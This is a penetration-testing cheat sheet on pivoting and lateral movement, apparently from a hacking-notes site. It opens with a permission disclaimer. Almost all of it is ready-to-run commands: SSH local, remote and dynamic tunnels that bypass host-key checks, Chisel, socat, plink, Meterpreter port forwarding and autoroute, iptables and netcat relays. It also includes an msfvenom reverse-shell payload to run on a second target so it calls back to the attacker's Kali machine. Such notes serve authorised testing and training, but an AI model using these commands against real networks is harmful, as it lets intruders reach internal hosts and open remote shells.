Pivoting/Lateral Movement

Hack Responsibly.

Always ensure you have explicit permission to access any computer system before using any of the techniques contained in these documents. You accept full responsibility for your actions by applying any knowledge gained here.

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SSH Tunneling 101

# SSH local port forward to reach  an_internal_server_ip:port via server_ip
ssh tunneler@server_ip -p 2222 -L 1234:an_internal_server_ip:80 
# Now curl localhost:1234 will fetch an_internal_server_ip:80 which is reachable from server_ip only

# dynamic port forward to create a SOCKS proxy to visit any_internal_server_ip
ssh tunneler@server_ip -p 2222 -D 1080 
# next config proxychains socks4a localhost 1080; proxychains curl http://any_internal_server_ip/; which is reachable from server_ip only

# ProxyJump ssh to an_internal_host via ssh server_ip
ssh -J tunneler@server_ip:2222 whistler@an_internal_host # which is only accessible from server_ip

# SSH remote port forward to send traffic back to our local port from a port of server_ip
ssh whistler@server_ip -p 2222 -L 58671:localhost:1234 # 
# this will listen on port 58671 of server_ip and tunnel the traffic back to us on loclahost:1234; nc -nlvp 1234 to receive for example

# Chain ProxyJump + dynamic port forward to create a proxy of 2nd_box which is only accessible via 1st_box
ssh -j firstuser@1st_box:2222 seconduser@2nd_box -D 1080
# next config proxychains socks4a localhost 1080; proxychains curl http://any_internal_server_ip/; which is reachable from 2nd_box only

# bypass first time prompt when have non-interactive shell

ssh -o "UserKnownHostsFile=/dev/null" -o "StrictHostKeyChecking=no"

SSH reverse tunneling

ssh -f -N -R 8000:10.3.3.14:80 -R 4443:10.3.3.14:443 -R 33306:10.3.3.14:3306 -R 33389:10.3.3.14:3389  -o "UserKnownHostsFile=/dev/null" -o "StrictHostKeyChecking=no" -i key kali@192.168.19.57

# kill with
ps -C ssh
kill -9 <pid>

If you already have an SSH session

-R 8081:172.24.0.2:80 # (on my Kali machine listen on 8081, get it from 172.24.0.2:80)
# <KALI 10.1.1.1>:8081<------------<REMOTE 172.24.0.2>:80
# Now you can access 172.24.0.2:80, which you didn't have direct access to


-L 8083:127.0.0.1:8084 # (on your machine listen on 8083, send it to my Kali machine on 8084)
# <KALI 127.0.0.1>:8084<------------<REMOTE 10.1.1.230>:8083<------------<REMOTE X.X.X.X>:XXXX
# run nc on port 8084, and if 10.1.1.230:8083 receives a reverse shell, you will get it


For reverse shell:
msfvenom -p linux/x86/shell_reverse_tcp LHOST=10.1.1.230 LPORT=8083 -f exe -o shell
Run it on 2nd remote target to get a shell on Kali

If you didn't have an SSH session

First, SSH to your Kali from target machine

On Kali:

service ssh start 
# "add a user, give it /bin/false in /etc/passwd"
ssh - -R 12345:192.168.122.228:5986 test@10.1.1.1

Port Forwarding (Single port to one port)

Using Socat

For linux

Forward your 8083 to 10.39.0.2:443

./socat TCP4-LISTEN:8083,fork TCP4:10.39.0.2:443

Using Chisel

Most platforms

Remote static tunnels "port to port":

#On Kali "reverse proxy listener":
./chisel server -p 8000 -reverse

#General command:
./chisel client $YOUR_IP:$YOUR_CHISEL_SERVER_PORT L/R:[$YOUR_LOCAL_IP]:$TUNNEL_LISTENING_PORT:$TUNNEL_TARGET:$TUNNEL_PORT

Remote tunnels "access IP:PORT you couldn't access before":

#On Target:
./chisel client 10.1.1.1:8000 R:127.0.0.1:8001:172.19.0.3:80

Local tunnels "listen on the target for something, and send it to us":

#On Target:
./chisel client 10.1.1.1:8000 9001:127.0.0.1:8003

Using Metasploit

Get meterpreter session, then:

portfwd add -l 4445 -p 4443 -r 10.1.1.1
# Use -R to make it reverse

Using Plink.exe

Just like SSH, but Windows only. Part of the Putty toolset.

#On Attacker
service ssh start 
cp /usr/share/windows-binaries/plink.exe #to the target machine

#On Target: 
plink.exe 10.10.10.123 -P 22 -C -N -L 0.0.0.0:4445:10.10.10.123:4443 -l $KALIUSER -pw $PASS

Dynamic Port Forwarding (Single port to any remote port)

• setup proxychains with socks5 on 127.0.0.1:1080

  • Or set up socks5 proxy on firefox

  For nmap use -Pn -sT or use tcp scanner in msf

ssh -i bobs.key -p 2222 bob@10.10.10.123 -D1080

Using Chisel

#On Kali:
./chisel server -p 8000 -reverse

#On Target:
./chisel client 10.1.1.1:8000 R:8001:127.0.0.1:1080
./chisel server -p 8001 --socks5

#On Kali:
./chisel client 127.0.0.1:8001 socks

Using Metasploit

• Get meterpreter session

• Auto route (multi/manage/autoroute)

• Start socks proxy (auxiliary/server/socks4a)

Forward ports using built-in firewall

Using iptables

To set up a port forwarder using iptables run the below commands as root (or with sudo).

echo '1' > /proc/sys/net/ipv4/conf/eth0/forwarding
iptables -t nat -A PREROUTING -p tcp -i eth0 --dport $lport -j DNAT --to-destination $ip:$rport
iptables -A FORWARD -p tcp -d $ip --dport $rport -m state --state NEW,ESTABLISHED,RELATED -j ACCEPT

Port Forwarding with netcat

Forward traffic using netcat and a named pipe.

mknod $mypipe p
nc -l -p $lport < $mypipe | nc $ip $rport > $mypipe